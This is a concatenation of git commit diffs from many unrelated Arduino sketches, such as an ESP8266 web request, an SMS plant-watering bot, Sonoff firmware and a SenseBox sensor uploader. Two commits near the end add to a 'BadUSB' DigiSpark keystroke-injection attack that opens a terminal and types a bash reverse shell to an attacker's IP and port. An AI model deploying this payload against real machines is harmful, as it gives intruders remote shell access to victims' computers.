+  Serial.print("AT+CIPSEND=");                //www.cse.dmu.ac.uk/~sexton/test.txt
+  Serial.print(cmd.length());  //esp8266 needs to know message length of incoming message - .length provides this
+  Serial.print("\015\012");
+
+  if(Serial.find(">"))    //prompt offered by esp8266
+  {
+    dbgSerial.println("found > prompt - issuing GET request");  //a debug message
+    Serial.print(cmd);  //this is our http GET request
+	Serial.print("\015\012");
+  }
+  else
+  {
+    Serial.print("AT+CIPCLOSE");  //doesn't seem to work here?
+	Serial.print("\015\012");
+    dbgSerial.println("No '>' prompt received after AT+CPISEND");
+  }
+
+  //Parse the returned header & web page. Looking for 'Date' line in header
+
+
+//  if (Serial.find("Hello")) //get the date line from the http header (for example)
+//  {
+//    for (int i=0;i<31;i++)  //this should capture the 'Date: ' line from the header
+//    {
+      if (Serial.available())  //new cahracters received?
+      {
+        char c=Serial.read();  //print to console
+        dbgSerial.write(c);
+      }
+//      else i--;  //if not, keep going round loop until we've got all the characters
+//    }
+//  }
+
+  Serial.print("AT+CIPCLOSE");
+  Serial.print("\015\012");
+
+  if(Serial.find("Unlink"))  //rarely seems to find Unlink? :(
+  {
+    dbgSerial.println("Connection Closed Ok...");
+  }
+  else
+  {
+    //Serial.println("connection close failure");
+  }
+
+
+
+// Grab a webpage by using IP only
+/*
   String cmd = "AT+CIPSTART=\"TCP\",\"";
   cmd += DST_IP;
   cmd += "\",80";
@@ -117,7 +192,7 @@
   }
   dbgSerial.println("====");
   delay(1000);
-
+*/

 	/*


Got conveyors running at different speeds

--- hardware/scanner-sorter/led_and_solenoid_control/led_and_solenoid_control.ino
+++ hardware/scanner-sorter/led_and_solenoid_control/led_and_solenoid_control.ino
@@ -31,7 +31,7 @@
   pinMode(SOLENOID_PIN, OUTPUT);
   pinMode(TOP_CONVEYOR_PIN, OUTPUT);
   pinMode(BOTTOM_CONVEYOR_PIN, OUTPUT);
-  digitalWrite(SOLENOID_PIN, HIGH);
+  digitalWrite(SOLENOID_PIN, LOW);
   digitalWrite(TOP_CONVEYOR_PIN, LOW);
   digitalWrite(BOTTOM_CONVEYOR_PIN, LOW);
   pixels.begin(); // This initializes the NeoPixel library.


Reliability Test Update

Reliability Test Update

Water, Light and Temperature visual cues and responses are working
reliably

--- Code/CodeVersion_1_27_2015/CodeVersion_1_27_2015.ino
+++ Code/CodeVersion_1_27_2015/CodeVersion_1_27_2015.ino
@@ -37,17 +37,16 @@

 void setup()
 {
-  // initialize serial communications and wait for port to open:
-  Serial.begin(9600);
   pinMode( motorPin, OUTPUT); // Motor pin Setup
   strip.begin(); // Neopixel Setup
   strip.show(); // Initialize all pixels to 'off'
+  colorWipe(strip.Color(255, 255, 255), 50);
   dht.begin(); // Temp Sensor (DHT22) setup
   tsl.begin(); // Light temsor
   tsl.setGain(TSL2561_GAIN_16X);
   tsl.setTiming(TSL2561_INTEGRATIONTIME_402MS);
-  //Serial.println("SMS Messages Receiver");
-
+  colorWipe(strip.Color(255, 255, 255), 50);
+
   // connection state
   boolean notConnected = true;
   // Start GSM connection
@@ -61,68 +60,31 @@
       delay(500);
     }
   }
-
-  Serial.println("GSM initialized");
-  Serial.println("Waiting for messages");
 }

 void loop()
 {
+  //Once in main loop Erb LED changs to a solid green color
   colorWipe(strip.Color(0, 255, 0), 50); // Green
   char c;
   String inputcommand="";
-
-  // If there are any SMSs available()
+  // Check for available SMS
   if (sms.available())
   {
-    Serial.println("Message received from:");
-
+
     // Get remote number
     sms.remoteNumber(senderNumber, 20);
-    Serial.println(senderNumber);

-    // An example of message disposal
-    // Any messages starting with # should be discarded
-    if(sms.peek()=='#')
-    {
-      Serial.println("Discarded SMS");
-      sms.flush();
-    }
-
     // Read message bytes and print them
     while(c=sms.read())
       inputcommand+=c;
-      //Serial.print(c);
-
-    //Serial.println("\nEND OF MESSAGE");
-    //Serial.print("Before Flush:");
-    //Serial.println(sms.ready());
-
-    // Delete message from modem memory
-    sms.flush();
-    Serial.println("MESSAGE DELETED");
-    Serial.print("After Flush:");
-    Serial.println(sms.ready());
-
-    // Repeat saved message
-    Serial.println(inputcommand);
-
-    Serial.print("Before Text:");
-    Serial.println(sms.ready());
-    // Send back a confirmation
+
     sms.beginSMS(senderNumber);
     delay(100);

     if(findWord("water",inputcommand)){
-      // Put code to activate motor pin here & blink light
-      //sms.print("Starting to Water");
       colorWipe(strip.Color(0, 0, 255), 50);  // Blue
-      //delay(1000);
-      //sms.endSMS();
-      //delay(500);
-      activateWatering(motorPin,5);
-      //sms.beginSMS(senderNumber);
-      //delay(500);
+      activateWatering(motorPin,3);
       sms.print("Thanks for the drink!");
     }
     else if(findWord("light",inputcommand)){
@@ -131,35 +93,40 @@
       String stringOne = "The lumosity is: " ;
       String stringThree = stringOne + x;
       // Put code to activate motor pin here & blink light
-      sms.print(stringThree);
+      //delay(200);
+      sms.print(stringThree);
+      delay(400);
     }
     else if(findWord("temp",inputcommand)){
-      colorWipe(strip.Color(0, 0, 0), 50);
       char buffer[10];
       float h = dht.readHumidity();
       float f = dht.readTemperature(true); // Read temperature as Fahrenheit
       String dht_stringOne = "The temp is: " ;
       String dht_stringThree = dht_stringOne + dtostrf(f, 5, 1, buffer);
       sms.print(dht_stringThree);
+      colorWipe(strip.Color(0, 0, 0), 50);
+      delay(400);
     }

     else if(findWord("hello",inputcommand)){
       sms.print("Hello my name is Erb, lets grow some plants!");
       colorWipe(strip.Color(255, 128, 255), 50);
-      delay(100);
+      delay(400);
+
     }
     else if(findWord("error",inputcommand)){
+      sms.print("You are experiencing an error....");
       colorWipe(strip.Color(255, 0, 0), 50);
-      delay(1000);
-      sms.print("You are experiencing an error....");
+      delay(400);
     }
-
     else {
       sms.print("I dont know what that means :( ");
+      colorWipe(strip.Color(255, 0, 0), 50);
+      delay(400);
     }

     // delay and send
-    delay(250);
+    //delay(250);
     sms.endSMS();
     delay(100);

@@ -172,6 +139,7 @@
   //delay(1000);
   //Serial.print("After delay:");
   //Serial.println(sms.ready());
+  sms.flush();
   }

@@ -215,20 +183,7 @@
     noTone(8);
   }
  }
-
-/*  void play_hello(){
-   int melody[] = {NOTE_F4, NOTE_A4,NOTE_B4,NOTE_F4, NOTE_A4,NOTE_B4,NOTE_F4,NOTE_A4,NOTE_B4,NOTE_E5,NOTE_D5,NOTE_B4,NOTE_C5,NOTE_B4,NOTE_G4,NOTE_E4,NOTE_D4,NOTE_E4,NOTE_G4,NOTE_E4,NOTE_F4, NOTE_A4,NOTE_B4,NOTE_F4, NOTE_A4,NOTE_B4,NOTE_F4,NOTE_A4,NOTE_B4,NOTE_E5,NOTE_D5,NOTE_B4,NOTE_C5,NOTE_B4,NOTE_G4,NOTE_E4,NOTE_D4,NOTE_E4,NOTE_G4,NOTE_E4};
-   int noteDurations[] = {8, 8, 4, 8, 8, 4, 8, 8, 8, 8, 4, 8, 8, 8, 8, 3, 8, 8, 8, 2,8,8,8,2 };
-   int song_length= sizeof(melody);
-   for (int thisNote = 0; thisNote < 20 ; thisNote++) {
-    int noteDuration = 2000/noteDurations[thisNote];
-    tone(8, melody[thisNote],noteDuration);
-    int pauseBetweenNotes = noteDuration * 1.10;
-    delay(pauseBetweenNotes);
-    noTone(8);
-  }
- }
- */
+
 /* Initialization Notes

 DHT22: Initialize DHT sensor for normal 16mhz Arduino


Some notes on hardware

Some notes on hardware

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -9,6 +9,9 @@
 const char *__FLAGGED_FW_NAME = "\xbf\x84\xe4\x13\x54" FW_NAME "\x93\x44\x6b\xa7\x75";
 const char *__FLAGGED_FW_VERSION = "\x6a\x3f\x3e\x0e\xe1" FW_VERSION "\xb0\x30\x48\xd4\x1a";
 /* End of magic sequence for Autodetectable Binary Upload */
+
+// LED_PIN controls the LED under the wifi symbol on the front plate.
+// RELAY_PIN controls the relay, *AND* the LED under the touchpad.

 const int PIN_RELAY = 12;
 const int PIN_LED = 13;


Changed map function for vibration module

Change range of map for output value to avoid "dead spot" when output to
motor is close to zero

--- Modules/Action/Vibration/ArduinoCodes/VibrationATtiny/VibrationATtiny.ino
+++ Modules/Action/Vibration/ArduinoCodes/VibrationATtiny/VibrationATtiny.ino
@@ -15,8 +15,8 @@
 **
 **  Created on 8/10/15.
 **  By Majeed Kazemitabaar
-**  Modified on 8/25/15.
-**  By Majeed Kazemitabaar
+**  Modified on 6/21/16.
+**  By Jason McPeak
 **
 **  MakerWear Link:
 **  Github Link:      github.com/myjeeed/MakerWear
@@ -38,12 +38,7 @@

 void loop()
 {
-  int input_val = cutAndMap(input.filteredAnalogRead(AVERAGE), 50, 975, 0, 1023);
-
-  /*if(input_val < 0)
-    input_val = 0;
-  else if(input_val > 1023)
-    input_val = 1023;*/
-
+  /* map the value from 170 to 1023, because motor does not turn on until 170 */
+  int input_val = cutAndMap(input.filteredAnalogRead(AVERAGE), 50, 975, 170, 1023);
   analogWrite(vibro_pin, input_val/4);
 }


changed the name of the interface

changed the name of the interface

--- src/sonoff-webserver.ino
+++ src/sonoff-webserver.ino
@@ -196,7 +196,7 @@
     ": <select name=\"interface\" length=1>"
     "<option value=\"0\"";page+=Configuration.interface==0?" selected=\"selected\"":"";page+=">";page+=Configuration.language[0]==101?"None / Manual":"Brak / Ręczny";page+="</option>"
     "<option value=\"1\"";page+=Configuration.interface==1?" selected=\"selected\"":"";page+=">MQTT</option>"
-    "<option value=\"2\"";page+=Configuration.interface==2?" selected=\"selected\"":"";page+=">";page+=Configuration.language[0]==101?"Domoticz":"Domoticz";page+="</option>"
+    "<option value=\"2\"";page+=Configuration.interface==2?" selected=\"selected\"":"";page+=">HTTP</option>"
     "</select>	"
     "
"
     "
"


fix code

fix code

--- little-switches/arduino/galoppo/galoppo.ino
+++ little-switches/arduino/galoppo/galoppo.ino
@@ -22,7 +22,7 @@
 long t5 = 0;
 long t6 = 0;

-int tempo = 0;
+int tempo = 78;
 float w = 0;

 void setup() {


Removes commented lines

Removes commented lines

--- njmakerday_20160318/njmakerday_20160318.ino
+++ njmakerday_20160318/njmakerday_20160318.ino
@@ -115,24 +115,6 @@
   server.send ( 200, "image/svg+xml", out);
 }

-//void drawTempGraph() {
-// String out = "";
-//  char temp[100];
-//  out += "<svg xmlns=\"http://www.w3.org/2000/svg\" version=\"1.1\" width=\"400\" height=\"150\">\n";
-//  out += "<rect width=\"400\" height=\"150\" fill=\"rgb(250, 230, 210)\" stroke-width=\"1\" stroke=\"rgb(0, 0, 0)\" />\n";
-//  out += "<g stroke=\"blue\">\n";
-//  int y = hdc.readTemperature();
-//  for (int x = 10; x < 390; x+= 10) {
-//    int y2 = rand() % 100;
-//    sprintf(temp, "<line x1=\"%d\" y1=\"%d\" x2=\"%d\" y2=\"%d\" stroke-width=\"1\" />\n", x, 140 - y, x + 10, 140 - y2);
-//    out += temp;
-//    y = y2;
-//  }
-//  out += "</g>\n</svg>\n";
-//
-//  server.send ( 200, "image/svg+xml", out);
-//}
-
 void setup ( void ) {
 	pinMode ( led, OUTPUT );
 	digitalWrite ( led, 0 );
@@ -163,14 +145,6 @@
 		Serial.println ( "MDNS responder started" );
 	}

-//  // Setup the temp & humidity monitor;
-//  Serial.println("HDC100x test");
-//  // Set SDA and SDL ports
-//  Wire.begin(hdc_sda, hdc_scl);
-//  if (!hdc.begin()) {
-//    Serial.println("Couldn't find sensor!");
-//    while (1);
-//  }
   setupMonitor();

 	server.on ( "/", handleRoot );
@@ -187,15 +161,4 @@
 void loop ( void ) {
 	server.handleClient();
   readMonitors();
-//  int currentTempC = hdc.readTemperature();
-//  int currentTempF = hdc.readTemperature() * 9/5 + 32;
-//
-//  Serial.print("Temp: ");
-//  Serial.print(currentTempC);
-//  Serial.print("C / ");
-//  Serial.print(currentTempF);
-//  Serial.print("F");
-//  Serial.print("\tHum: ");
-//  Serial.println(hdc.readHumidity());
-//  delay(1000);
 }


Changing delay format if a Phant post fails.

--- 06-EnvironmentMonitor/Code/02-EnvironmentLoggerPhant/EnvironmentLoggerPhant.ino
+++ 06-EnvironmentMonitor/Code/02-EnvironmentLoggerPhant/EnvironmentLoggerPhant.ino
@@ -93,7 +93,10 @@
             while (postToPhant() <= 0)
             {
                 Serial.println("Phant post failed. Trying again."); // Debug statement
-                delay(1000); // Delay 1s so we don't flood the server
+				// Delay 1s, so we don't flood the server. Little delay's allow the Photon time
+				// to communicate with the Cloud.
+                for (int i=0; i<1000; i++)
+                    delay(1);
             }
             // After a successful Phant POST:
             Serial.println("Phant post success!"); // Debug print


Updated Arduino OID length now compressed, and correct snmpwalk syntax comment

--- examples/Ethernet/CosaSNMP/CosaSNMP.ino
+++ examples/Ethernet/CosaSNMP/CosaSNMP.ino
@@ -38,7 +38,7 @@
  * 2. Access the Arduino MIB (ardDigitalPin.0)
  *   snmpget -v1 -c public 192.168.1.18 0.1.3.6.1.4.1.36582.1.0
  * 3. Walk the OID tree
- *   snmpwalk -v1 -c public 192.168.1.18 0
+ *   snmpwalk -v1 -c public 192.168.1.18
  *
  * This file is part of the Arduino Che Cosa project.
  */
@@ -88,7 +88,7 @@
 {
   // Match with Arduino MIB OID root
   int pos = pdu.oid.match(get_oid(), false);
-  if (pos < 0 || pdu.oid.length != 11) return (false);
+  if (pos < 0 || pdu.oid.length != 10) return (false);

   // Access pin type and number
   uint8_t sys = pdu.oid.name[pos];


Add RX example.

Add RX example.

--- examples/rx/rx.ino
+++ examples/rx/rx.ino
@@ -0,0 +1,42 @@
+#include <nrf24l01-mnemonics.h>
+#include <nrf24l01.h>
+#include <SPI.h>
+#include <string.h>
+
+#define SLAVE_SELECT_PIN 7
+#define CHIP_ENABLE_PIN  8
+#define INTERRUPT_PIN    2
+#define LED_PIN          10
+
+nRF24L01 rf = nRF24L01(SLAVE_SELECT_PIN, CHIP_ENABLE_PIN);
+
+bool interrupted = false;
+
+uint8_t address[5] = { 0x01, 0x01, 0x01, 0x01, 0x01 };
+
+void setup() {
+    pinMode(LED_PIN, OUTPUT);
+    digitalWrite(LED_PIN, LOW);
+    rf.begin();
+    rf.listen(0, address);
+}
+
+void loop() {
+    if (!interrupted)
+        return;
+    interrupted = false;
+    if (!rf.dataReceived())
+        return;
+    nRF24L01Message msg;
+    rf.readReceivedData(&msg);
+    if (msg.length == 0)
+        return;
+    if (strcmp((char *)msg.data, "ON") == 0)
+        digitalWrite(LED_PIN, HIGH);
+    else if (strcmp((char *)msg.data, "OFF") == 0)
+        digitalWrite(LED_PIN, LOW);
+}
+
+void rfInterrupt() {
+    interrupted = true;
+}


Timeout added

Timeout added

--- examples/wifi/wifi.ino
+++ examples/wifi/wifi.ino
@@ -30,8 +30,6 @@
 SoftwareSerial DT06(10,12);

 String messageReceived= "";
-float analogValue = 0;
-float analogRef = 4.9;

 //Initialize program.
 void setup()
@@ -44,7 +42,7 @@
   display.clear();

   DT06.begin(BAUDRATE);
-  //DT06.setTimeout(300);
+  DT06.setTimeout(1000);

   for(int i=0;i<=1;i++)
   {


update

update

--- src/Firmware.ino
+++ src/Firmware.ino
@@ -232,7 +232,6 @@

 void addMotion(long x, long y, uint8_t power, uint16_t speed, uint16_t acceleration)
 {
-
     _points[_sys.plannedIndex].targetPosition[0] = x;
     _points[_sys.plannedIndex].targetPosition[1] = y;
     _points[_sys.plannedIndex].dir[0] = _prevPoint.targetPosition[0] < _points[_sys.plannedIndex].targetPosition[0];


fix minor issue

fix minor issue

--- ArduCAM/examples/REVC/ArduCAM_OV5642_Digital_Camera/ArduCAM_OV5642_Digital_Camera.ino
+++ ArduCAM/examples/REVC/ArduCAM_OV5642_Digital_Camera/ArduCAM_OV5642_Digital_Camera.ino
@@ -76,7 +76,8 @@
   myCAM.set_format(BMP);

   myCAM.InitCAM();
-
+
+

   //Initialize SD Card
   if (!SD.begin(SD_CS))
@@ -107,9 +108,7 @@
     myCAM.set_mode(MCU2LCD_MODE);
     myCAM.set_format(JPEG);
     myCAM.InitCAM();
-
     myCAM.OV5642_set_JPEG_size(OV5642_320x240);
-
     myCAM.write_reg(ARDUCHIP_TIM, VSYNC_LEVEL_MASK);		//VSYNC is active HIGH

     //Wait until buttom released


Update template.ino

Update template.ino

Extended version for GIS course at ifgi, Muenster. Replaced analog with digital light sensor, added uv sensor and watchdog for reset on hold

--- files/template.ino
+++ files/template.ino
@@ -1,80 +1,70 @@
 /*
 SenseBox Citizen Sensingplatform
-Version: 1.0
-Date: 2014-05-11
+Version: 1.2
+Date: 2015-01-06
 Homepage: http://sensebox.uni-muenster.de/bestellen/fuer-buerger/
 Author: Jan Wirwahn
+Note: Version with additional sensors for GIS-GK@ifgi
 */
-
-//libraries to include
-#include <DHT.h>
-#include <Barometer.h>
 #include <Wire.h>
 #include <SPI.h>
 #include <EthernetV2_0.h>
-
+#include <DHT.h>
+#include <Barometer.h>
+#include <Digital_Light_TSL2561.h>
+#include <avr/wdt.h>
+
+//SenseBox ID
+
+//Sensor IDs
+
+//Sensor pin settings
+#define NOISEPIN A0
+#define DHTPIN A1
+#define UVPIN A2
+#define DHTTYPE DHT11
 //Ethernet shield settings
 #define W5200_CS  10
 #define SDCARD_CS 4

-//Define analog ports used by sensors
-#define NOISEPIN A0
-#define LIGHTPIN A1
-#define DHTPIN A2
-
-/*
-* USER SETUP
-* Provide your SenseBoxID and , if your network does not support DHCP, an IP address!
-*/
-//SenseBox ID
-
-//If DHCP is not enabled, specify an IP according to your network settings:
-IPAddress ip(192,168,178,111);
-
-//Senor IDs
-
 //Network settings
+IPAddress ip(192,168,178,111);//If DHCP is disabled, specify an IP according to your network settings
 byte mac[] = { 0x00, 0xAA, 0xBB, 0xCC, 0xDE, 0x02 };
 char server[] = "opensensemap.org";
 EthernetClient client;

-//Measurement variables
-float temperature, pressure, humidity;
-int analogLightValue, analogNoiseValue;
-float lightResistance; //Resistance of light sensor in K
+String currentSensorId = TEMPERATURESENSOR_ID;
+float temperature;
+float humidity;
+float pressure;
+unsigned long  lux;
+int analogNoise;
+int uvValue;
+
+DHT dht(DHTPIN, DHTTYPE);
+Barometer barometer;
+
+//Variables for time sync and upload intervall
+const unsigned long postingInterval = 10*1000*60; //1 minute
+unsigned long lastConnectionTime = 0;
+boolean lastConnected = false;
+boolean uploadSuccess = true;
 String sensorSample;
-int sampleType = 1;
-String currentSensorId;
-
-//Sensor instances
-Barometer barometer;
-DHT dht(DHTPIN, DHT11);
-
-//Variables for time sync and upload intervall
-const unsigned long postingInterval = 60 * 1000; //post meausrements each 60 seconds
-unsigned long lastConnectionTime = 0;
-unsigned long currentTime = 0;
-boolean lastConnected = false;
-boolean uploadSuccess = false;
+int sampleType = 1; //1=temp,2=humi,3=baro,4=light

 void setup(){
-  //Start serial port
+  Wire.begin();
   Serial.begin(9600);
-
   //Setup chip select and deselect the SD card
   pinMode(SDCARD_CS,OUTPUT);
   digitalWrite(SDCARD_CS,HIGH);
-
-  // give the ethernet module time to boot up
-  delay(1000);
-
+  delay(500);
   // start the Ethernet connection
   if (Ethernet.begin(mac) == 0) {
     Serial.println("Failed to configure Ethernet using DHCP.");
     //If DHCP is disabled, use static IP
     Ethernet.begin(mac, ip);
   }else Serial.println("DHCP setup successful.");
-
   //Print the IP to serial port
   Serial.print("My IP address: ");
   for (byte thisByte = 0; thisByte < 4; thisByte++) {
@@ -83,14 +73,12 @@
     Serial.print(".");
   }
   Serial.println();
-
-  //initialize barometer and DHT sensors
   barometer.init();
   dht.begin();
-}
-
-void loop()
-{
+  TSL2561.init();
+}
+
+void loop(){
   // if there's incoming data from the net connection.
   // send it out the serial port.  This is for debugging purposes only
   if (client.available()) {
@@ -113,53 +101,89 @@
     switch (sampleType)
     {
       case 1:
+        //temperature = dht.readTemperature();
         temperature = barometer.bmp085GetTemperature(barometer.bmp085ReadUT());
-        sensorSample = floatToString(temperature);
-        currentSensorId = temperatureSensorId;
+        sensorSample = floatToString(temperature,0);
+        currentSensorId = TEMPERATURESENSOR_ID;
         break;
       case 2:
-        //bmp085ReadUT MUST be called first
-        temperature = barometer.bmp085GetTemperature(barometer.bmp085ReadUT());
+        humidity = dht.readHumidity();
+        sensorSample = floatToString(humidity,0);
+        currentSensorId = HUMIDITYSENSOR_ID;//bmp085ReadUT MUST be called first
+        break;
+      case 3:
+        pressure = barometer.bmp085GetTemperature(barometer.bmp085ReadUT());
         pressure = barometer.bmp085GetPressure(barometer.bmp085ReadUP());
-        sensorSample = floatToString(pressure);
-        currentSensorId = pressureSensorId;
-        break;
-      case 3:
-        humidity = dht.readHumidity();
-        sensorSample = floatToString(humidity);
-        currentSensorId = humiditySensorId;
+        sensorSample = floatToString(pressure,0);
+        currentSensorId = PRESSURESENSOR_ID;
         break;
       case 4:
-        analogLightValue = analogRead(LIGHTPIN);
-        sensorSample = (String)analogLightValue;
-        currentSensorId = lightSensorId;
+        analogNoise = analogRead(NOISEPIN);
+        sensorSample = (String)analogNoise;
+        currentSensorId = NOISESENSOR_ID;
         break;
       case 5:
-        analogNoiseValue = analogRead(NOISEPIN);
-        sensorSample = (String)analogNoiseValue;
-        currentSensorId = noiseSensorId;
+        TSL2561.getLux();
+        lux = TSL2561.calculateLux(0,0,1);
+        sensorSample = (String)lux;
+        currentSensorId = LIGHTSENSOR_ID;
+        break;
+      case 6:
+        uvValue = analogRead(UVPIN);
+        sensorSample = (String)uvValue;
+        currentSensorId = UVSENSOR_ID;
         break;
     }
   }
   // if you're not already connected, and 60 seconds have passed since
   // your last connection, then connect again and send data:
   uploadSuccess = false;
-  currentTime = millis();
-  if(!client.connected() && ((unsigned long)(currentTime - lastConnectionTime) >= postingInterval)) {
+  if(!client.connected() && (millis() - lastConnectionTime > postingInterval)) {
     Serial.println("-----------------------------------");
     Serial.print("Connecting and posting sensor sample (case ");
     Serial.print(sampleType);
     Serial.print(")...");
     Serial.println();
-    postObservation(sensorSample, currentSensorId, senseboxId);
+    postObservation(sensorSample, currentSensorId, SENSEBOX_ID);
   }
   // store the state of the connection for next time through the loop
   lastConnected = client.connected();
+}
+
+String floatToString(float number, int precision)
+{
+  String stringNumber = "";
+  //int prec;
+  //only temperature (case 1) has a decimal place
+  //if (sampleType == 1) prec = 1; else prec = 0;
+  char tempChar[10];
+  dtostrf(number, 3, precision, tempChar);
+  stringNumber += tempChar;
+  return stringNumber;
+}
+
+int calcUVIndex(int analogValue){
+  int uvi;
+  if (analogValue<10) uvi = 0;
+  else if (analogValue<46) uvi = 1;
+  else if (analogValue<65) uvi = 2;
+  else if (analogValue<83) uvi = 3;
+  else if (analogValue<103) uvi = 4;
+  else if (analogValue<124) uvi = 5;
+  else if (analogValue<142) uvi = 6;
+  else if (analogValue<162) uvi = 7;
+  else if (analogValue<180) uvi = 8;
+  else if (analogValue<200) uvi = 9;
+  else if (analogValue<221) uvi = 10;
+  else if (analogValue<240) uvi = 11;
+  return uvi;
 }

 //Method for posting a measurement to OSM server
 void postObservation(String measurement, String sensorId, String boxId)
 {
+  //if (measurement=="") return;
+  wdt_enable(WDTO_8S);
   //json must look like {"value":"12.5"}
   String valueJson = "{\"value\":";
   valueJson += measurement;
@@ -167,6 +191,7 @@
   Serial.println(valueJson);
   //post observation to: http://opensensemap.org:8000/boxes/boxId/sensorId
   // if you get a connection, report back via serial:
+  wdt_reset();
   if (client.connect(server, 8000))
   {
     Serial.print("connected...");
@@ -186,10 +211,8 @@
     client.println();
     client.print(valueJson);
     client.println();
-
     Serial.println("done!");
     uploadSuccess = true;
-
     //Change case
     if (sampleType == 5) {
       sampleType = 1;
@@ -202,17 +225,5 @@
     Serial.println("failed...disconnecting.");
     client.stop();
   }
-}
-
-String floatToString(float number)
-{
-  String stringNumber = "";
-  int prec;
-  //only temperature (case 1) has a decimal place
-  if (sampleType == 1) prec = 1; else prec = 0;
-  char tempChar[10];
-  dtostrf(number, 3, prec, tempChar);
-  stringNumber += tempChar;
-
-  return stringNumber;
-}
+  wdt_disable();
+}


Added Mac OS support

Added Mac OS support

uses spotlight to open terminal and uses same unix bash code to open a reverse

--- code.ino
+++ code.ino
@@ -1,5 +1,5 @@
 /*
- * BadUSB - HID Reverse TCP attack for Win and *Nix OS - Last update 08/12/2016 - Copyright (c) by grcasanova
+ * BadUSB - HID Reverse TCP attack for Win, Mac and Unix OS - Last update 25/10/2018 - Copyright (c) by grcasanova
  *
  * change IP and PORT constants to match the attacking machine details
  *
@@ -14,11 +14,13 @@
 #define PORT "0"
 #define WIN_FLAG 100
 #define NIX_FLAG 200
+#define MAC_FLAG 300

 static int run;
 unsigned int address = 0;
 const byte interruptPin0 = 0;
 const byte interruptPin1 = 1;
+const byte interruptPin2 = 3;

 void blinkLed();
 bool win_os();
@@ -34,10 +36,12 @@
   pinMode(1, OUTPUT); //LED on Model A
   pinMode(interruptPin0, INPUT_PULLUP);
   pinMode(interruptPin1, INPUT_PULLUP);
+  pinMode(interruptPin2, INPUT_PULLUP);

   // interrups setup
   attachInterrupt(digitalPinToInterrupt(interruptPin0), setWinFlag, CHANGE); // attach INT0 interrupt
   attachInterrupt(digitalPinToInterrupt(interruptPin1), setNixFlag, CHANGE); // attach INT1 interrupt
+  attachInterrupt(digitalPinToInterrupt(interruptPin2), setMacFlag, CHANGE); // attach INT2 interrupt
 }

 // Win Os flag setup
@@ -46,10 +50,15 @@
   EEPROM.write(address, WIN_FLAG);
 }

-// *nix Os flag setup
+// Unix Os flag setup
 void setNixFlag()
 {
   EEPROM.write(address, NIX_FLAG);
+}
+
+void setMacFlag()
+{
+  EEPROM.write(address, MAC_FLAG);
 }

 void loop()
@@ -62,6 +71,7 @@
   {
     DigiKeyboard.update();
     DigiKeyboard.sendKeyStroke(0);
+    DigiKeyboard.delay(500);
     DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
     DigiKeyboard.delay(500);
     wdt_reset();
@@ -71,10 +81,27 @@
     DigiKeyboard.delay(500);
     wdt_reset();
   }
+  else if (value == MAC_FLAG) // running on a Mac
+  {
+    DigiKeyboard.update();
+    DigiKeyboard.sendKeyStroke(0);
+    DigiKeyboard.delay(500);
+    DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_GUI_LEFT); //open spotlight
+    DigiKeyboard.delay(500);
+    DigiKeyboard.println("terminal");
+    DigiKeyboard.delay(1000);
+    wdt_reset();
+    DigiKeyboard.println("/bin/bash -i >& /dev/tcp/"IP"/"PORT" 0>&1");
+    DigiKeyboard.delay(800);
+    DigiKeyboard.sendKeyStroke(KEY_ENTER);
+    DigiKeyboard.delay(500);
+    wdt_reset();
+  }
   else  // running on a Unix machine
   {
     DigiKeyboard.update();
     DigiKeyboard.sendKeyStroke(0);
+    DigiKeyboard.delay(500);
     DigiKeyboard.sendKeyStroke(KEY_N, MOD_GUI_LEFT);
     DigiKeyboard.delay(500);
     wdt_reset();


added WinOs/NixOs setup

added WinOs/NixOs setup

windows and *nix selection added through interrupts

--- code.ino
+++ code.ino
@@ -1,15 +1,24 @@
 /*
-Code to be run on DigiSpark compatible boards
+ * BadUSB - HID Reverse TCP attack for Win and *Nix OS - Last update 08/12/2016 - Copyright (c) by grcasanova
+ *
+ * change IP and PORT constants to match the attacking machine details
+ *
 */

 #include <avr/wdt.h>
+#include <EEPROM.h>
 #include "DigiKeyboard.h"

 // define server IP and port
 #define IP "0.0.0.0"
 #define PORT "0"
+#define WIN_FLAG 100
+#define NIX_FLAG 200

 static int run;
+unsigned int address = 0;
+const byte interruptPin0 = 0;
+const byte interruptPin1 = 1;

 void blinkLed();
 bool win_os();
@@ -20,16 +29,36 @@
   wdt_enable(WDTO_4S);
   run = 0;

-  // pin setup to blink led
+  // pin setup
   pinMode(0, OUTPUT); //LED on Model B
   pinMode(1, OUTPUT); //LED on Model A
+  pinMode(interruptPin0, INPUT_PULLUP);
+  pinMode(interruptPin1, INPUT_PULLUP);
+
+  // interrups setup
+  attachInterrupt(digitalPinToInterrupt(interruptPin0), setWinFlag, CHANGE); // attach INT0 interrupt
+  attachInterrupt(digitalPinToInterrupt(interruptPin1), setNixFlag, CHANGE); // attach INT1 interrupt
+}
+
+// Win Os flag setup
+void setWinFlag()
+{
+  EEPROM.write(address, WIN_FLAG);
+}
+
+// *nix Os flag setup
+void setNixFlag()
+{
+  EEPROM.write(address, NIX_FLAG);
 }

 void loop()
 {
   wdt_reset();

-  if (win_os())  // running on a Windows machine
+  byte value = EEPROM.read(address);
+
+  if (value == WIN_FLAG)  // running on a Windows machine
   {
     DigiKeyboard.update();
     DigiKeyboard.sendKeyStroke(0);
@@ -65,12 +94,6 @@
     run++;
 }

-bool win_os()
-{
-  // TBD - needs to be implemented
-  return true;
-}
-
 void blinkLed()
 {
   while (true) {


Initialize some vars

Initialize some vars

--- platformio/src/adc_tr.ino
+++ platformio/src/adc_tr.ino
@@ -13,13 +13,14 @@
 // second line sets the sampling interval (in microseconds)
 const unsigned int channel_array[2] = {A0, A7};
 const unsigned long period_0 = 10000;
+const unsigned int array_size = sizeof(channel_array) / sizeof(int);

-const unsigned int array_size = sizeof(channel_array) / sizeof(int);
 unsigned int value_array[array_size];
-unsigned int ii;
-
+unsigned int ii = 0;
+volatile bool go_flag = false;
+bool go_flag_copy = false;
 elapsedMicros current_time;
-unsigned long current_time_copy;
+unsigned long current_time_copy = 0;
 IntervalTimer timer_0;

 byte time_buf[4];
@@ -44,9 +45,6 @@
   timer_0.begin(timerCallback, period_0);
   delay(500);
 }
-
-volatile bool go_flag = false;
-bool go_flag_copy = false;

 FASTRUN void timerCallback(void) {
   go_flag = true;